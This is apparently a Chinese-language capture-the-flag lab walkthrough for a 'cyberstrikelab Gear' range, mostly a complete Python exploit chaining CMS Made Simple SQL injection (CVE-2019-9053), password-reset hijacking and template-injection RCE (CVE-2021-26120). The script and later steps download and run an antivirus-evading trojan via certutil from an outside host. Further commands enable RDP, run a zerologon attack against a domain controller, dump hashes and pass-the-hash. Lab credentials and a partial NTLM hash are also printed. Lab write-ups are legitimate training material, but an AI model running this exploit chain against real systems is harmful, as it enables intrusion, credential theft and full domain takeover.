cyberstrikelab-Gear

CMS Made Simple RCE

脚本参考 : https://mp.weixin.qq.com/s/7ZxkPPE-OmvycobI_J_Svw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
import requests

import sys

import re

from time import sleep

from lxml import etree



def login(s, t, usr):

uri = "%sadmin/login.php" % t

s.get(uri)

d = {

"username" : usr,

"password" : usr,

"loginsubmit" : "Submit"

}

r = s.post(uri, data=d)

match = re.search("style.php\?__c=(.*)\"", r.text)

assert match, "(-) login failed"

return match.group(1)



def trigger_or_patch_ssti(s, csrf, t, tpl):

# CVE-2021-26120

d = {

"mact": 'DesignManager,m1_,admin_edit_template,0',

"__c" : csrf,

"m1_tpl" : 10,

"m1_submit" : "Submit",

"m1_name" : "Simplex",

"m1_contents" : tpl

}

r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)

if"rce()" in tpl:

r = s.get("%sindex.php" % t)

assert ("endrce" in r.text), "(-) rce failed!"

cmdr = r.text.split("endrce")[0]

print(cmdr.strip())



def determine_bool(t, exp):

p = {

"mact" : "News,m1_,default,0",

"m1_idlist": ",1)) and %s-- " % exp

}

r = requests.get("%smoduleinterface.php" % t, params=p)

return True if r.text.count("Posted by:") == 2 else False



def trigger_sqli(t, char, sql, c_range):

# CVE-2019-9053

for i in c_range:

# <> characters are html escaped so we just have =

# substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query

if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i)

return-1

def leak_string(t, sql, leak_name, max_length, c_range):

sys.stdout.write("(+) %s: " % leak_name)

sys.stdout.flush()

leak_string = ""

for i in range(1,max_length+1):

c = trigger_sqli(t, i, sql, c_range)

# username is probably < 25 characters

if c == -1:

break

leak_string += c

sys.stdout.write(c)

sys.stdout.flush()

assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name

return leak_string

def reset_pwd_stage1(t, usr):

d = {

"forgottenusername" : usr,

"forgotpwform" : 1,

}

r = requests.post("%sadmin/login.php" % t, data=d)

assert ("User Not Found" not in r.text), "(-) password reset failed!"



def reset_pwd_stage2(t, usr, key):

d = {

"username" : usr,

"password" : usr, # just reset to the username

"passwordagain" : usr, # just reset to the username

"changepwhash" : key,

"forgotpwchangeform": 1,

"loginsubmit" : "Submit",

}

r = requests.post("%sadmin/login.php" % t, data=d)

match = re.search("Welcome: <a href=\"myaccount.php\?__c=[a-z0-9]*\">(.*)<\/a>", r.text)

assert match, "(-) password reset failed!"

assert match.group(1) == usr, "(-) password reset failed!"



def leak_simplex(s, t, csrf):

p = {

"mact" : "DesignManager,m1_,admin_edit_template,0",

"__c" : csrf,

"m1_tpl" : 10

}

r = s.get("%sadmin/moduleinterface.php" % t, params=p)

page = etree.HTML(r.text)

tpl = page.xpath("//textarea//text()")

assert tpl is not None, "(-) leaking template failed!"

return"".join(tpl)



def remove_locks(s, t, csrf):

p = {

"mact" : "DesignManager,m1_,admin_clearlocks,0",

"__c" : csrf,

"m1_type" : "template"

}

s.get("%sadmin/moduleinterface.php" % t, params=p)



def main():

if(len(sys.argv) < 4):

print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])

print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])

print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])

return

pth = sys.argv[2]

cmd = sys.argv[3]

pth = pth + "/"if not pth.endswith("/") else pth

pth = "/" + pth if not pth.startswith("/") else pth

# target = "http://%s%s" % (sys.argv[1], pth)

target="http://172.10.59.35/"

print("(+) targeting %s" % target)

if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):

print("(+) sql injection working!")

print("(+) leaking the username...")

username = "cslab"

print("\n(+) resetting the %s's password stage 1" % username)

reset_pwd_stage1(target, username)

print("(+) leaking the pwreset token...")

pwreset = leak_string(

target,

"select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things

"pwreset",

32, # md5 hash is always 32

list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f

)

print(pwreset)

print("\n(+) done, resetting the %s's password stage 2" % username)

reset_pwd_stage2(target, username, pwreset)

session = requests.Session()

# print("(+) logging in...")

csrf = login(session, target, username)

# print("(+) leaking simplex template...")

remove_locks(session, target, csrf)

simplex_tpl = leak_simplex(session, target, csrf)

print("(+) injecting payload and executing cmd...\n")

#cmd = "certutil.exe -urlcache -split -f http://172.16.233.2/main.txt"

#cmd = "certutil.exe -urlcache -split -f http://172.16.233.2/RingQ.exe"
cmd = "RingQ.exe"

rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd

trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)

while True:

r = session.get("%sindex.php" % target)

if"endrce" not in r.text:

break

trigger_or_patch_ssti(session, csrf, target, simplex_tpl)



if __name__ == '__main__':

main()

需要开启下服务让这个脚本去下载免杀好的木马直接dumphash就行。

用友U8C RCE

还有一个内网,加个用户rdp去关闭防火墙方便后续扫描

1
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

搭个代理,用工具梭哈一下

直接读flag即可

teamViewer

这个用友这台主机也是双网卡继续扫描

1
2
3
certutil.exe -urlcache -split -f http://172.10.68.20/main.txt

certutil.exe -urlcache -split -f http://172.10.68.20/RingQ.exe

转发上线一下然后依旧是添加用户,发现桌面上有一个teamViewer

同时在管理员的桌面上找到了密码

还是依旧扫描一下

那么就利用这些密码登录试试发现10.0.0.58可以登录,tm@cslab为teamviewer密码,24d@cs1为该主机administrator密码。直接连上,读取flag即可

zerologon

一直没有拿到域用户的权限,正常来说从域外进入域内有这么几种思路:Ldap匿名访问;域用户枚举;CVE漏洞利用等手段,爆破用户等手段没有,就转向使用cve,发现zerologon可以

滞空密码

1
lsadump::zerologon /target:10.0.0.60{% asset_img "20250601135250084.png" "" %} /ntlm /null /account:dc$ /exploit

导出hash

1
proxychains4 python secretsdump.py cyberstrikelab.com/DC\$@10.0.0.60 -no-pass

打两个pth就行了

1
proxychains4 python3 wmiexec.py -hashes :7b50525da0ea9349b4c698bbe486/administrator@10.0.0.60